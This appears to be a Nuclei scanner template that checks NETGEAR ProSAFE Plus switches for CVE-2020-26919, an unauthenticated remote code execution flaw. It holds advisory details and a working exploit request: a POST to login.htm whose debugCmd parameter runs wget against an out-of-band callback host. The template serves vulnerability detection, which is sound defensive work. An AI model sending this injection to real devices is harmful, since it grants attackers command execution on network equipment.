id: CVE-2020-26919

info:

name: NETGEAR ProSAFE Plus - Unauthenticated Remote Code Execution

author: gy741

severity: critical

description: NETGEAR ProSAFE Plus before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.

remediation: |

Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.

reference:

- https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches/

- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/

- https://nvd.nist.gov/vuln/detail/CVE-2020-26919

- https://kb.netgear.com/000062334/Security-Advisory-for-Missing-Function-Level-Access-Control-on-JGS516PE-PSV-2020-0377

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2020-26919

epss-score: 0.97424

epss-percentile: 0.99915

cpe: cpe:2.3:o:netgear:jgs516pe_firmware:*:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: netgear

product: jgs516pe_firmware

tags: cve,cve2020,netgear,rce,oast,router,unauth,kev

http:

- raw:

- |

POST /login.htm HTTP/1.1

Host: {{Hostname}}

Accept: */*

submitId=debug&debugCmd=wget http://{{interactsh-url}}&submitEnd=

matchers:

- type: word

part: interactsh_protocol # Confirms the HTTP Interaction

words:

- "http"

# digest: 4a0a00473045022074e36e5d30011f0fbb3b081e571f0c1f2bdba49c84426bf3441b832036a6e86f022100c6ca679d933efc794221447bae9850a57560ccab8b8e3125920ffa1d253c416e:922c64590222798bb761d5b6d8e72950